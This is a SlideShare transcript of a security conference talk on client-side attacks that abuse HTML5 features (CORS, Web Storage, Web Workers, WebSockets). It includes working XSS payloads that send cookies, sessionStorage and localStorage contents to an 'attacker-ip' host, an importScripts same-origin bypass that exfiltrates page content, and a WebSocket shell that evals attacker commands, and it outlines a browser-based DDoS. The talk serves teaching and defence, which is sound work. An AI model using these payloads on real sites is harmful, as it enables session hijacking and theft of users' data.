SlideShare a Scribd company logo
Building Client-Side Attacks with
       <HTML5> features




            Tiago Ferreira
           tiago.ccna@gmail.com
AGENDA
ABOUT ME


•   Almost 4 years working with IT network devices and 5
    years with security (MSS, Pentest, VA, etc).

•   Focus on Web Application vulnerabilities exploitation.

•   Security analyst at CONVISO Application Security.

•   Member of the research group Alligator Security Team.
A few words about Same Origin Policy
•   Perhaps the most important security concept within modern browsers.

•   The policy permits scripts running on pages originating from the same
    site to access each other‘s.

•   Prevents access to most methods and properties across pages on
    different sites.

•   An origin is defined by the protocol, host/domain, and port of a URL:

     o   http://www.example.com/dir/page.html
     o   https://www.example.com/dir/page2.html
     o   http://www.example.com:8080/dir/page.html
     o   http://en.example.com/dir/other.html

•   In practice, there is no single same-origin policy:

     o   DOM access, XMLHttpRequest, Cookies, Flash, Java. Silverlight,
         etc
HTML5 Overview
•   The Hypertext Markup Language version 5 (HTML5) is the
    successor of HTML 4.01, XHTML 1.0 and XHTML 1.1.

•   It brings several new technologies to the browser which have
    never been, such as:

     o   New DOM interfaces
     o   New forms elements
     o   Enhanced XHR (Level 2)
     o   Web Storage
     o   Web Socket
     o   Web Workers
     o   File API
     o   Many new attributes

•   HTML5 provides new features to web applications but also
    introduces new security issues.
CORS - (Cross-Origin
  Resource Sharing)
CORS

•   CORS is a web browser technology that enables client-side API
    to make cross-origin requests to external resources.

•   New HTTP header is defined "Access-Control-Allow-Origin" .

        HTTP/1.1 200 OK
        Server: Apache
        Content-Type: text/html
        Access-Control-Allow-Origin: http://example.com/


•   First the UA makes the request to the foreign domain and then
    checks the access control based on the returned Access-Control-
    Allow-Origin header.

•   The decision whether the API (XMLHttpRequest) is allowed to
    access foreing domains is made in UA.
CORS

•   Potential threats

     o   Information gathering
           - Response time based intranet scanning

     o   Universal Allow
          - Bypass access control

     o   Remote attacking a web server
         - UA can be used to attack another web server

     o   DDoS attacks combined with Web Workers
Web Storage
Web Storage
•   Web Storage gives websites the possibility to store data on the
    user's browser. The information can be accessed later using
    JavaScript.

•   Web storage offers two different storage areas:

     o   Local Storage
     o   Session Storage

•   Web storage provides far greater storage capacity (depends on
    browser between 5MB to 10MB).

•   It is supported by: Internet Explorer 8, Mozilla-based browsers
    (e.g., Firefox 2+, officially from 3.5), Safari 4, Google Chrome 4
    (sessionStorage is from 5), Opera 10.50.
localStorage
•   Data placed in local storage is per domain and persists after the
    browser is closed.

•   To store value on the browser:

     o   localStorage.setItem(key, value);

•   To read value stored on the browser;

     o   localStorage.getItem(key);

•   Security considerations:

     o   Sensitive data can be stolen;
     o   Data can be spoofed;
     o   Persistent attack vectors.
sessionStorage

•   Session storage is per-page-per-window and is limited to the
    lifetime of the window.

•   Store value on the browser:

     o   sessionStorage.setItem('key', 'value');

•   Read value stored on the browser:

     o   sessionStorage.getItem(key);

•   Security considerations:

     o   There’s no ‘path’ atribute;
     o   There’s no ‘httpOnly’ atribute;
     o   Session hijacking (xss, session fixation).
Attack: Session hijacking using XSS


•   Old XSS payload to get cookies

    var a=new Image(); a.src=“http://attacker-ip/cookie=“ + document.cookie;


•   New XSS payload

    var a=new Image(); a.src=“http://attacker-ip/cookie=“+
    sessionStorage.getItem(‘SessionID’);
Attack: Session hijacking using XSS

                                                          DEMO

<script>
for(var i = 0; i < sessionStorage.length; i++){
   var key = sessionStorage.key(i);
   var a = new Image();

   a.src="http://attacker-ip/Storage.html?key=" + key +
        "&value=" + sessionStorage.getItem(key);

}
</script>
Attack: Stealing HTML5 localStorage

                                                          DEMO

<script>
for(var i = 0; i < localStorage.length; i++){
   var key = localStorage.key(i);
   var a = new Image();

   a.src="http://attacker-ip/Storage.html?key=" + key +
        “ &value=" + localStorage.getItem(key);

}
</script>
Web workers
Web workers

•   API for spawning background scripts in web
    application via JavaScript.

     o   Real OS-level threads and concurrency.
     o   Managed communication through posting
         messages to background worker.

•   Web Workers run in an isolated thread.

•   Workers do NOT have access to: DOM, window,
    document, and parent objects.

•   Security validation based in same-origin principle.
Spawning a worker

  http://owasp.org/index.html


<script>
var worker = new Worker("worker.js");
a
worker.onmessage = function(event){     http://owasp.org/worker.js
document.getElementById('response„).t    self.onmessage = function(event){
extContet = event.data                     self.postMessage('Hello World');

};                                       };
worker.postMessage();
</script>
…
<pre id=“response” value=“ “>
Workers – Available features
•   The location object (read-only).

•   The navigator object

•   setTimeout()/clearTimeout() and setInterval()/clearInterval().

•   Spawning other web workers.

•   postMessage()
     o send data to worker (strings, JSON object, etc).


•   Event support (addEventListener, dispatchEvent, removeEventLlistener).

•   importScripts
     o importScript(‘http://external.com/script.js’).


•   XMLHttpRequests.
Sending data to worker

 http://owasp.org/index.html
<script>
var worker = new
Worker("worker.js");

                                    http://owasp.org/worker.js
worker.onmessage =
function(event){
                                   self.onmessage = function(event){
                                     self.postMessage(event);
document.getElementById('respo
nse„).textContet = event.data;
                                   };
};

worker.postMessage(„Hello
OWASP Floripa`);
</script>
Attack: Bypass SOP with importScripts()

  •   Workers makes a natural sandbox for running untrusted code.

  •   Workers can’t access page content.

  •   ImportScripts() permits run thirdy party code in your domain.
http://owasp.org/teste.js

var sandbox=new Worker(„sandbox.js‟)
sandbox.postMessage(„http://external.sit   http://owasp.org/sandbox.js
e/badguy.js‟);

                                           onmessage=function(e){
                                                  importScripts(e.data);
                                                  postMessage(this[„someUnt
                                                  rustedFunction‟]());
                                           }
Attack: Bypass SOP with importScripts()

•   But workers can run XMLHttpRequests
                                                                                  DEMO
     o     Script is running in the domain of the parent page.
           (http:/owasp.org/teste.js).

     o     Can read any content on your domain.

         http://external.site/badguy.js

         var xhr = new XMLHttpRequest();
         xhr.open('GET', 'http://owasp.org/index.html', true);
         xhr.send();
         xhr.onreadystatechange = function(remote_data){
              if (remote_data.target.readyState == 4){
                    var remote_data = remote_data.target.responseText;
                    importScripts('http://external.site/remote-page-content=' +
         remote_data);
              };
         };
Attack: DDoS with CORS and Web Workers

•   Start a WebWorker that would fire multiple Cross Origin
    Requests at the target.

•   Thanks CORS that can send GET/POST requests to
    any website.

•   Sending a cross domain GET request is nothing new
    (IMG tag or SCRIPT).

•   So simply by getting someone to visit a URL you can
    get them to send 10,000 HTTP requests/minute.

•   Can be spread with social engineering techniques
    (malicious URL, XSS vulnerabilities).
Attack: DDoS with CORS and Web Workers

                                          Target Web Site
XSS victims




                                        Vulnerable XSS web site




DEMO
                          Attacker injects XSS payload
Web Sockets
Web Sockets
•   Web Sockets is a web technology that provides bi-directional,
    full-duplex communications channels over a single TCP
    connection.

•   The connection is established by upgrading from the HTTP to the
    Web Socket protocol.

•   Web servers are now able to send content to the browser without
    being solicited by the client, wich allows messages to be passed
    back and forth while keeping the connection open.

•   URI Scheme: ws:// and wss://

•   Threats that can be exploited:

     o   Remote Shell, Web-Based Botnet, Port scanning
Web Sockets
Web Sockets – XSS Shell

                                                           DEMO
<script>

var connection = new WebSocket('ws://attacker-ip:port');
   connection.onopen = function (){
      connection.send(„null‟);
    };

connection.onmessage = function(event){
   eval(event.data);
};

</script>
References

•   The Websocket Protocol (http://tools.ietf.org/html/rfc6455)

•   Web Workers (http://www.w3.org/TR/workers/)

•   Web Storage (http://www.w3.org/TR/webstorage/)

•   Attack & Defense Labs (http://blog.andlabs.org/)

•   HTML5 Rocks (http://www.html5rocks.com/).

•   HTML5 Web Security - Michael Schmidt

•   The World According to KOTO (http://blog.kotowicz.net/)

•   Shreeraj's security blog (http://shreeraj.blogspot.in/)
Questions ?
Ad

Recommended

Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5
DefconRussia
 
Html5 hacking
Html5 hacking
Iftach Ian Amit
 
Html5: something wicked this way comes - HackPra
Html5: something wicked this way comes - HackPra
Krzysztof Kotowicz
 
A Forgotten HTTP Invisibility Cloak
A Forgotten HTTP Invisibility Cloak
Soroush Dalili
 
Racing The Web - Hackfest 2016
Racing The Web - Hackfest 2016
Aaron Hnatiw
 
Entity provider selection confusion attacks in JAX-RS applications
Entity provider selection confusion attacks in JAX-RS applications
Mikhail Egorov
 
MITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another Perspective
GreenD0g
 
OWASP San Diego Training Presentation
OWASP San Diego Training Presentation
owaspsd
 
Post XSS Exploitation : Advanced Attacks and Remedies
Post XSS Exploitation : Advanced Attacks and Remedies
Adwiteeya Agrawal
 
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
Soroush Dalili
 
Flash it baby!
Flash it baby!
Soroush Dalili
 
Apache Cookbook - TekX Chicago 2010
Apache Cookbook - TekX Chicago 2010
Rich Bowen
 
Fun with exploits old and new
Fun with exploits old and new
Larry Cashdollar
 
Hack Into Drupal Sites (or, How to Secure Your Drupal Site)
Hack Into Drupal Sites (or, How to Secure Your Drupal Site)
nyccamp
 
Hack proof your ASP NET Applications
Hack proof your ASP NET Applications
Sarvesh Kushwaha
 
Hacking Wordpress Plugins
Hacking Wordpress Plugins
Larry Cashdollar
 
How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)
Larry Cashdollar
 
How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)
Larry Cashdollar
 
Tornado - different Web programming
Tornado - different Web programming
Dima Malenko
 
Hacking Adobe Experience Manager sites
Hacking Adobe Experience Manager sites
Mikhail Egorov
 
Security vulnerabilities - 2018
Security vulnerabilities - 2018
Marius Vorster
 
Node.js: The What, The How and The When
Node.js: The What, The How and The When
FITC
 
Neat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protection
Mikhail Egorov
 
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
CODE BLUE
 
Lie to Me: Bypassing Modern Web Application Firewalls
Lie to Me: Bypassing Modern Web Application Firewalls
Ivan Novikov
 
Apache Wizardry - Ohio Linux 2011
Apache Wizardry - Ohio Linux 2011
Rich Bowen
 
Jwt == insecurity?
Jwt == insecurity?
snyff
 
Mining Ruby Gem vulnerabilities for Fun and No Profit.
Mining Ruby Gem vulnerabilities for Fun and No Profit.
Larry Cashdollar
 
DTS Solution - ISACA UAE Chapter - ISAFE 2014 - RU PWNED - Living a Life as a...
DTS Solution - ISACA UAE Chapter - ISAFE 2014 - RU PWNED - Living a Life as a...
Shah Sheikh
 
Clientside attack using HoneyClient Technology
Clientside attack using HoneyClient Technology
Julia Yu-Chin Cheng
 

More Related Content

What's hot (20)

Post XSS Exploitation : Advanced Attacks and Remedies
Post XSS Exploitation : Advanced Attacks and Remedies
Adwiteeya Agrawal
 
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
Soroush Dalili
 
Flash it baby!
Flash it baby!
Soroush Dalili
 
Apache Cookbook - TekX Chicago 2010
Apache Cookbook - TekX Chicago 2010
Rich Bowen
 
Fun with exploits old and new
Fun with exploits old and new
Larry Cashdollar
 
Hack Into Drupal Sites (or, How to Secure Your Drupal Site)
Hack Into Drupal Sites (or, How to Secure Your Drupal Site)
nyccamp
 
Hack proof your ASP NET Applications
Hack proof your ASP NET Applications
Sarvesh Kushwaha
 
Hacking Wordpress Plugins
Hacking Wordpress Plugins
Larry Cashdollar
 
How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)
Larry Cashdollar
 
How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)
Larry Cashdollar
 
Tornado - different Web programming
Tornado - different Web programming
Dima Malenko
 
Hacking Adobe Experience Manager sites
Hacking Adobe Experience Manager sites
Mikhail Egorov
 
Security vulnerabilities - 2018
Security vulnerabilities - 2018
Marius Vorster
 
Node.js: The What, The How and The When
Node.js: The What, The How and The When
FITC
 
Neat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protection
Mikhail Egorov
 
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
CODE BLUE
 
Lie to Me: Bypassing Modern Web Application Firewalls
Lie to Me: Bypassing Modern Web Application Firewalls
Ivan Novikov
 
Apache Wizardry - Ohio Linux 2011
Apache Wizardry - Ohio Linux 2011
Rich Bowen
 
Jwt == insecurity?
Jwt == insecurity?
snyff
 
Mining Ruby Gem vulnerabilities for Fun and No Profit.
Mining Ruby Gem vulnerabilities for Fun and No Profit.
Larry Cashdollar
 
Post XSS Exploitation : Advanced Attacks and Remedies
Post XSS Exploitation : Advanced Attacks and Remedies
Adwiteeya Agrawal
 
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
Soroush Dalili
 
Apache Cookbook - TekX Chicago 2010
Apache Cookbook - TekX Chicago 2010
Rich Bowen
 
Fun with exploits old and new
Fun with exploits old and new
Larry Cashdollar
 
Hack Into Drupal Sites (or, How to Secure Your Drupal Site)
Hack Into Drupal Sites (or, How to Secure Your Drupal Site)
nyccamp
 
Hack proof your ASP NET Applications
Hack proof your ASP NET Applications
Sarvesh Kushwaha
 
How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)
Larry Cashdollar
 
How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)
Larry Cashdollar
 
Tornado - different Web programming
Tornado - different Web programming
Dima Malenko
 
Hacking Adobe Experience Manager sites
Hacking Adobe Experience Manager sites
Mikhail Egorov
 
Security vulnerabilities - 2018
Security vulnerabilities - 2018
Marius Vorster
 
Node.js: The What, The How and The When
Node.js: The What, The How and The When
FITC
 
Neat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protection
Mikhail Egorov
 
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
CODE BLUE
 
Lie to Me: Bypassing Modern Web Application Firewalls
Lie to Me: Bypassing Modern Web Application Firewalls
Ivan Novikov
 
Apache Wizardry - Ohio Linux 2011
Apache Wizardry - Ohio Linux 2011
Rich Bowen
 
Jwt == insecurity?
Jwt == insecurity?
snyff
 
Mining Ruby Gem vulnerabilities for Fun and No Profit.
Mining Ruby Gem vulnerabilities for Fun and No Profit.
Larry Cashdollar
 

Viewers also liked (20)

DTS Solution - ISACA UAE Chapter - ISAFE 2014 - RU PWNED - Living a Life as a...
DTS Solution - ISACA UAE Chapter - ISAFE 2014 - RU PWNED - Living a Life as a...
Shah Sheikh
 
Clientside attack using HoneyClient Technology
Clientside attack using HoneyClient Technology
Julia Yu-Chin Cheng
 
The Beginning Of World War Ii
The Beginning Of World War Ii
kathomas
 
Cyber Security Visualization
Cyber Security Visualization
Doug Cogswell
 
Honeywall roo 2
Honeywall roo 2
Julia Yu-Chin Cheng
 
Comparative Study of Mod Security (Autosaved)
Comparative Study of Mod Security (Autosaved)
Dashti Abdullah
 
The real and another
The real and another
Ishika Biswas
 
Staged Patching Approach in Oracle E-Business Suite
Staged Patching Approach in Oracle E-Business Suite
vasuballa
 
Ldap injection
Ldap injection
Sujay Gankidi
 
Detecting Evasive Malware in Sandbox
Detecting Evasive Malware in Sandbox
Rahul Mohandas
 
Let Your Mach-O Fly, Black Hat DC 2009
Let Your Mach-O Fly, Black Hat DC 2009
Vincenzo Iozzo
 
3 Enablers of Successful Cyber Attacks and How to Thwart Them
3 Enablers of Successful Cyber Attacks and How to Thwart Them
IBM Security
 
How to Audit Firewall, what are the standard Practices for Firewall Audit
How to Audit Firewall, what are the standard Practices for Firewall Audit
keyuradmin
 
Client Side Honeypots
Client Side Honeypots
amiable_indian
 
Veil Evasion and Client Side Attacks
Veil Evasion and Client Side Attacks
n|u - The Open Security Community
 
Next Generation Advanced Malware Detection and Defense
Next Generation Advanced Malware Detection and Defense
Luca Simonelli
 
Firewall Penetration Testing
Firewall Penetration Testing
Chirag Jain
 
Honeycon2016-honeypot updates for public
Honeycon2016-honeypot updates for public
Julia Yu-Chin Cheng
 
The Veil-Framework
The Veil-Framework
VeilFramework
 
AV Evasion with the Veil Framework
AV Evasion with the Veil Framework
VeilFramework
 
DTS Solution - ISACA UAE Chapter - ISAFE 2014 - RU PWNED - Living a Life as a...
DTS Solution - ISACA UAE Chapter - ISAFE 2014 - RU PWNED - Living a Life as a...
Shah Sheikh
 
Clientside attack using HoneyClient Technology
Clientside attack using HoneyClient Technology
Julia Yu-Chin Cheng
 
The Beginning Of World War Ii
The Beginning Of World War Ii
kathomas
 
Cyber Security Visualization
Cyber Security Visualization
Doug Cogswell
 
Comparative Study of Mod Security (Autosaved)
Comparative Study of Mod Security (Autosaved)
Dashti Abdullah
 
The real and another
The real and another
Ishika Biswas
 
Staged Patching Approach in Oracle E-Business Suite
Staged Patching Approach in Oracle E-Business Suite
vasuballa
 
Detecting Evasive Malware in Sandbox
Detecting Evasive Malware in Sandbox
Rahul Mohandas
 
Let Your Mach-O Fly, Black Hat DC 2009
Let Your Mach-O Fly, Black Hat DC 2009
Vincenzo Iozzo
 
3 Enablers of Successful Cyber Attacks and How to Thwart Them
3 Enablers of Successful Cyber Attacks and How to Thwart Them
IBM Security
 
How to Audit Firewall, what are the standard Practices for Firewall Audit
How to Audit Firewall, what are the standard Practices for Firewall Audit
keyuradmin
 
Next Generation Advanced Malware Detection and Defense
Next Generation Advanced Malware Detection and Defense
Luca Simonelli
 
Firewall Penetration Testing
Firewall Penetration Testing
Chirag Jain
 
Honeycon2016-honeypot updates for public
Honeycon2016-honeypot updates for public
Julia Yu-Chin Cheng
 
AV Evasion with the Veil Framework
AV Evasion with the Veil Framework
VeilFramework
 
Ad

Similar to Building Client-Side Attacks with HTML5 Features (20)

Html5 security
Html5 security
Krishna T
 
Same Origin Policy Weaknesses
Same Origin Policy Weaknesses
kuza55
 
Browser Security
Browser Security
Roberto Suggi Liverani
 
Same Origin Policy Weaknesses
Same Origin Policy Weaknesses
kuza55
 
Going Beyond Cross Domain Boundaries (jQuery Bulgaria)
Going Beyond Cross Domain Boundaries (jQuery Bulgaria)
Ivo Andreev
 
Html5 Application Security
Html5 Application Security
chuckbt
 
Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)
Krzysztof Kotowicz
 
Browser security
Browser security
Uday Anand
 
Secure web messaging in HTML5
Secure web messaging in HTML5
Krishna T
 
Securing your web application through HTTP headers
Securing your web application through HTTP headers
Andre N. Klingsheim
 
Talk about html5 security
Talk about html5 security
Huang Toby
 
XCS110_All_Slides.pdf
XCS110_All_Slides.pdf
ssuser01066a
 
HTML5 hacking
HTML5 hacking
Blueinfy Solutions
 
Warning Ahead: SecurityStorms are Brewing in Your JavaScript
Warning Ahead: SecurityStorms are Brewing in Your JavaScript
Cyber Security Alliance
 
Browser Internals-Same Origin Policy
Browser Internals-Same Origin Policy
Krishna T
 
The Same-Origin Policy
The Same-Origin Policy
Fabrizio Farinacci
 
Everybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs too
Nahidul Kibria
 
Web Security Attacks
Web Security Attacks
Sajid Hasan
 
Html5 security
Html5 security
tsinghua university
 
Site Security Policy - Yahoo! Security Week
Site Security Policy - Yahoo! Security Week
guest9663eb
 
Html5 security
Html5 security
Krishna T
 
Same Origin Policy Weaknesses
Same Origin Policy Weaknesses
kuza55
 
Same Origin Policy Weaknesses
Same Origin Policy Weaknesses
kuza55
 
Going Beyond Cross Domain Boundaries (jQuery Bulgaria)
Going Beyond Cross Domain Boundaries (jQuery Bulgaria)
Ivo Andreev
 
Html5 Application Security
Html5 Application Security
chuckbt
 
Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)
Krzysztof Kotowicz
 
Browser security
Browser security
Uday Anand
 
Secure web messaging in HTML5
Secure web messaging in HTML5
Krishna T
 
Securing your web application through HTTP headers
Securing your web application through HTTP headers
Andre N. Klingsheim
 
Talk about html5 security
Talk about html5 security
Huang Toby
 
XCS110_All_Slides.pdf
XCS110_All_Slides.pdf
ssuser01066a
 
Warning Ahead: SecurityStorms are Brewing in Your JavaScript
Warning Ahead: SecurityStorms are Brewing in Your JavaScript
Cyber Security Alliance
 
Browser Internals-Same Origin Policy
Browser Internals-Same Origin Policy
Krishna T
 
Everybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs too
Nahidul Kibria
 
Web Security Attacks
Web Security Attacks
Sajid Hasan
 
Site Security Policy - Yahoo! Security Week
Site Security Policy - Yahoo! Security Week
guest9663eb
 
Ad

More from Conviso Application Security (20)

Entendendo o PCI-DSS
Entendendo o PCI-DSS
Conviso Application Security
 
Integrando testes de segurança ao processo de desenvolvimento de software
Integrando testes de segurança ao processo de desenvolvimento de software
Conviso Application Security
 
Uma verdade inconveniente - Quem é responsável pela INsegurança das aplicações?
Uma verdade inconveniente - Quem é responsável pela INsegurança das aplicações?
Conviso Application Security
 
“Web Spiders” – Automação para Web Hacking
“Web Spiders” – Automação para Web Hacking
Conviso Application Security
 
Você Escreve Código e Quem Valida?
Você Escreve Código e Quem Valida?
Conviso Application Security
 
Testar não é suficiente. Tem que fazer direito!
Testar não é suficiente. Tem que fazer direito!
Conviso Application Security
 
Implementando Segurança em desenvolvimento com a verdadeira ISO
Implementando Segurança em desenvolvimento com a verdadeira ISO
Conviso Application Security
 
Automatizando a análise passiva de aplicações Web
Automatizando a análise passiva de aplicações Web
Conviso Application Security
 
Você confia nas suas aplicações mobile?
Você confia nas suas aplicações mobile?
Conviso Application Security
 
Pentest em Aplicações Móveis
Pentest em Aplicações Móveis
Conviso Application Security
 
MASP: Um processo racional para garantir o nível de proteção das aplicações w...
MASP: Um processo racional para garantir o nível de proteção das aplicações w...
Conviso Application Security
 
HTML5 Seguro ou Inseguro?
HTML5 Seguro ou Inseguro?
Conviso Application Security
 
Threats from economical improvement rss 2010
Threats from economical improvement rss 2010
Conviso Application Security
 
O processo de segurança em desenvolvimento, que não é ISO 15.408
O processo de segurança em desenvolvimento, que não é ISO 15.408
Conviso Application Security
 
Encontrando falhas em aplicações web baseadas em flash
Encontrando falhas em aplicações web baseadas em flash
Conviso Application Security
 
Protegendo Aplicações Php com PHPIDS - Php Conference 2009
Protegendo Aplicações Php com PHPIDS - Php Conference 2009
Conviso Application Security
 
Playing Web Fuzzing - H2HC 2009
Playing Web Fuzzing - H2HC 2009
Conviso Application Security
 
OWASP Top 10 e aplicações .Net - Tech-Ed 2007
OWASP Top 10 e aplicações .Net - Tech-Ed 2007
Conviso Application Security
 
Abotoaduras & Bonés
Abotoaduras & Bonés
Conviso Application Security
 
Tratando as vulnerabilidades do Top 10 com php
Tratando as vulnerabilidades do Top 10 com php
Conviso Application Security
 
Integrando testes de segurança ao processo de desenvolvimento de software
Integrando testes de segurança ao processo de desenvolvimento de software
Conviso Application Security
 
Uma verdade inconveniente - Quem é responsável pela INsegurança das aplicações?
Uma verdade inconveniente - Quem é responsável pela INsegurança das aplicações?
Conviso Application Security
 
“Web Spiders” – Automação para Web Hacking
“Web Spiders” – Automação para Web Hacking
Conviso Application Security
 
Implementando Segurança em desenvolvimento com a verdadeira ISO
Implementando Segurança em desenvolvimento com a verdadeira ISO
Conviso Application Security
 
Automatizando a análise passiva de aplicações Web
Automatizando a análise passiva de aplicações Web
Conviso Application Security
 
MASP: Um processo racional para garantir o nível de proteção das aplicações w...
MASP: Um processo racional para garantir o nível de proteção das aplicações w...
Conviso Application Security
 
O processo de segurança em desenvolvimento, que não é ISO 15.408
O processo de segurança em desenvolvimento, que não é ISO 15.408
Conviso Application Security
 
Encontrando falhas em aplicações web baseadas em flash
Encontrando falhas em aplicações web baseadas em flash
Conviso Application Security
 
Protegendo Aplicações Php com PHPIDS - Php Conference 2009
Protegendo Aplicações Php com PHPIDS - Php Conference 2009
Conviso Application Security
 

Recently uploaded (20)

The Growing Value and Application of FME & GenAI
The Growing Value and Application of FME & GenAI
Safe Software
 
WebdriverIO & JavaScript: The Perfect Duo for Web Automation
WebdriverIO & JavaScript: The Perfect Duo for Web Automation
digitaljignect
 
Securing AI - There Is No Try, Only Do!.pdf
Securing AI - There Is No Try, Only Do!.pdf
Priyanka Aash
 
Salesforce Summer '25 Release Frenchgathering.pptx.pdf
Salesforce Summer '25 Release Frenchgathering.pptx.pdf
yosra Saidani
 
Raman Bhaumik - Passionate Tech Enthusiast
Raman Bhaumik - Passionate Tech Enthusiast
Raman Bhaumik
 
Security Tips for Enterprise Azure Solutions
Security Tips for Enterprise Azure Solutions
Michele Leroux Bustamante
 
Agentic AI for Developers and Data Scientists Build an AI Agent in 10 Lines o...
Agentic AI for Developers and Data Scientists Build an AI Agent in 10 Lines o...
All Things Open
 
"Scaling in space and time with Temporal", Andriy Lupa.pdf
"Scaling in space and time with Temporal", Andriy Lupa.pdf
Fwdays
 
Quantum AI: Where Impossible Becomes Probable
Quantum AI: Where Impossible Becomes Probable
Saikat Basu
 
Cracking the Code - Unveiling Synergies Between Open Source Security and AI.pdf
Cracking the Code - Unveiling Synergies Between Open Source Security and AI.pdf
Priyanka Aash
 
ReSTIR [DI]: Spatiotemporal reservoir resampling for real-time ray tracing ...
ReSTIR [DI]: Spatiotemporal reservoir resampling for real-time ray tracing ...
revolcs10
 
2025_06_18 - OpenMetadata Community Meeting.pdf
2025_06_18 - OpenMetadata Community Meeting.pdf
OpenMetadata
 
9-1-1 Addressing: End-to-End Automation Using FME
9-1-1 Addressing: End-to-End Automation Using FME
Safe Software
 
Using the SQLExecutor for Data Quality Management: aka One man's love for the...
Using the SQLExecutor for Data Quality Management: aka One man's love for the...
Safe Software
 
EIS-Webinar-Engineering-Retail-Infrastructure-06-16-2025.pdf
EIS-Webinar-Engineering-Retail-Infrastructure-06-16-2025.pdf
Earley Information Science
 
"Database isolation: how we deal with hundreds of direct connections to the d...
"Database isolation: how we deal with hundreds of direct connections to the d...
Fwdays
 
Coordinated Disclosure for ML - What's Different and What's the Same.pdf
Coordinated Disclosure for ML - What's Different and What's the Same.pdf
Priyanka Aash
 
Python Conference Singapore - 19 Jun 2025
Python Conference Singapore - 19 Jun 2025
ninefyi
 
OpenACC and Open Hackathons Monthly Highlights June 2025
OpenACC and Open Hackathons Monthly Highlights June 2025
OpenACC
 
A Constitutional Quagmire - Ethical Minefields of AI, Cyber, and Privacy.pdf
A Constitutional Quagmire - Ethical Minefields of AI, Cyber, and Privacy.pdf
Priyanka Aash
 
The Growing Value and Application of FME & GenAI
The Growing Value and Application of FME & GenAI
Safe Software
 
WebdriverIO & JavaScript: The Perfect Duo for Web Automation
WebdriverIO & JavaScript: The Perfect Duo for Web Automation
digitaljignect
 
Securing AI - There Is No Try, Only Do!.pdf
Securing AI - There Is No Try, Only Do!.pdf
Priyanka Aash
 
Salesforce Summer '25 Release Frenchgathering.pptx.pdf
Salesforce Summer '25 Release Frenchgathering.pptx.pdf
yosra Saidani
 
Raman Bhaumik - Passionate Tech Enthusiast
Raman Bhaumik - Passionate Tech Enthusiast
Raman Bhaumik
 
Security Tips for Enterprise Azure Solutions
Security Tips for Enterprise Azure Solutions
Michele Leroux Bustamante
 
Agentic AI for Developers and Data Scientists Build an AI Agent in 10 Lines o...
Agentic AI for Developers and Data Scientists Build an AI Agent in 10 Lines o...
All Things Open
 
"Scaling in space and time with Temporal", Andriy Lupa.pdf
"Scaling in space and time with Temporal", Andriy Lupa.pdf
Fwdays
 
Quantum AI: Where Impossible Becomes Probable
Quantum AI: Where Impossible Becomes Probable
Saikat Basu
 
Cracking the Code - Unveiling Synergies Between Open Source Security and AI.pdf
Cracking the Code - Unveiling Synergies Between Open Source Security and AI.pdf
Priyanka Aash
 
ReSTIR [DI]: Spatiotemporal reservoir resampling for real-time ray tracing ...
ReSTIR [DI]: Spatiotemporal reservoir resampling for real-time ray tracing ...
revolcs10
 
2025_06_18 - OpenMetadata Community Meeting.pdf
2025_06_18 - OpenMetadata Community Meeting.pdf
OpenMetadata
 
9-1-1 Addressing: End-to-End Automation Using FME
9-1-1 Addressing: End-to-End Automation Using FME
Safe Software
 
Using the SQLExecutor for Data Quality Management: aka One man's love for the...
Using the SQLExecutor for Data Quality Management: aka One man's love for the...
Safe Software
 
EIS-Webinar-Engineering-Retail-Infrastructure-06-16-2025.pdf
EIS-Webinar-Engineering-Retail-Infrastructure-06-16-2025.pdf
Earley Information Science
 
"Database isolation: how we deal with hundreds of direct connections to the d...
"Database isolation: how we deal with hundreds of direct connections to the d...
Fwdays
 
Coordinated Disclosure for ML - What's Different and What's the Same.pdf
Coordinated Disclosure for ML - What's Different and What's the Same.pdf
Priyanka Aash
 
Python Conference Singapore - 19 Jun 2025
Python Conference Singapore - 19 Jun 2025
ninefyi
 
OpenACC and Open Hackathons Monthly Highlights June 2025
OpenACC and Open Hackathons Monthly Highlights June 2025
OpenACC
 
A Constitutional Quagmire - Ethical Minefields of AI, Cyber, and Privacy.pdf
